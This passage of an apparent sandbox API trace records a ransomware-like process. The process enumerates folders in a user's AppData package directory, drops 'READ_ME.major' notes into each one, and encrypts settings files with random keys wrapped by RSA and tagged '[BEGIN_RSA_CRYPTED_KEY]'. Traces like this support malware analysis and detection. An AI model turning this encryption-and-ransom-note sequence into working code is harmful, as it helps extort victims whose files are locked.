ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30258 [0206.045] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9929a00a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a6b9b29, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271cb8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992c0227, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0206.046] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1454 [0206.047] WriteFile (in: hFile=0x1454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.048] CloseHandle (hObject=0x1454) returned 1 [0206.048] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271d40c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992c0227, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0206.048] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1454 [0206.049] WriteFile (in: hFile=0x1454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.050] CloseHandle (hObject=0x1454) returned 1 [0206.050] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd271dcb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992c0227, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0206.050] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1454 [0206.053] WriteFile (in: hFile=0x1454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.054] CloseHandle (hObject=0x1454) returned 1 [0206.054] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.054] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27be9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992c0227, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0206.054] FindNextFileW (in: hFindFile=0x2f30258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992c0227, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27be9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x992c0227, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0206.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666150 [0206.054] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27bf9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30758 [0206.055] FindNextFileW (in: hFindFile=0x2f30758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27bf9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.055] FindNextFileW (in: hFindFile=0x2f30758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.055] FindNextFileW (in: hFindFile=0x2f30758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666208 [0206.055] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c03e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30458 [0206.055] FindNextFileW (in: hFindFile=0x2f30458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c03e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.055] FindNextFileW (in: hFindFile=0x2f30458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.055] FindNextFileW (in: hFindFile=0x2f30458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667628 [0206.055] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c0cd9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30198 [0206.056] FindNextFileW (in: hFindFile=0x2f30198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c0cd9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x2f30198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x2f30198, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0206.056] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c1412, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30298 [0206.056] FindNextFileW (in: hFindFile=0x2f30298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd27c1412, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x2f30298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x2f30298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666aa8 [0206.056] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30358 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x992278f7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x992278f7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992278f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdaaf640d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda67dd8b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda67dd8b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda67dd8b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda67dd8b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda67dd8b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda67dd8b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0206.057] FindNextFileW (in: hFindFile=0x2f30358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda67dd8b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda67dd8b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda67dd8b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0206.057] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0206.057] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60530 [0206.057] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.057] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0206.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0206.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0206.058] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1468 [0206.059] GetFileSizeEx (in: hFile=0x1468, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0206.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0206.059] ReadFile (in: hFile=0x1468, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.059] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.059] WriteFile (in: hFile=0x1468, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.060] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.060] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.060] WriteFile (in: hFile=0x1468, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.061] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0206.061] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/S6LSVBqfQ6ktGaw1kx8A+b6s9X3fVTKlBHQbiWZ28NqTBglXq/ivqCABF3mxTLH\n5pxEdVD62cwtY27QRN2hf9cIm9se5AuiU8851u+ZrYCUT/BiS8REWljSTBa79uFQ\nmhaqFaIIlmbfXlSWBzw1UTg92Xtel9gsEmbxkQAdENwIq2ENgAZCH9bSHqzR4IUN\nCaO6TCwgj+NS/fMbzxnHZogGtEXCOUHEAHE5sLinIjn+A/cxhJh/rLKUAzBcRuay\nEsW06YFx2lT+SGGRfCyzchYaGN4hKrEh6RRyhHTFklsyjREPb0+8+pJPyUxD5+i7\nBed/YvYt8pfvfzkFdvpihg==\n", pcchString=0x2e3f9a8) returned 1 [0206.061] WriteFile (in: hFile=0x1468, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.061] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.061] WriteFile (in: hFile=0x1468, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.062] CloseHandle (hObject=0x1468) returned 1 [0206.170] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.170] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", 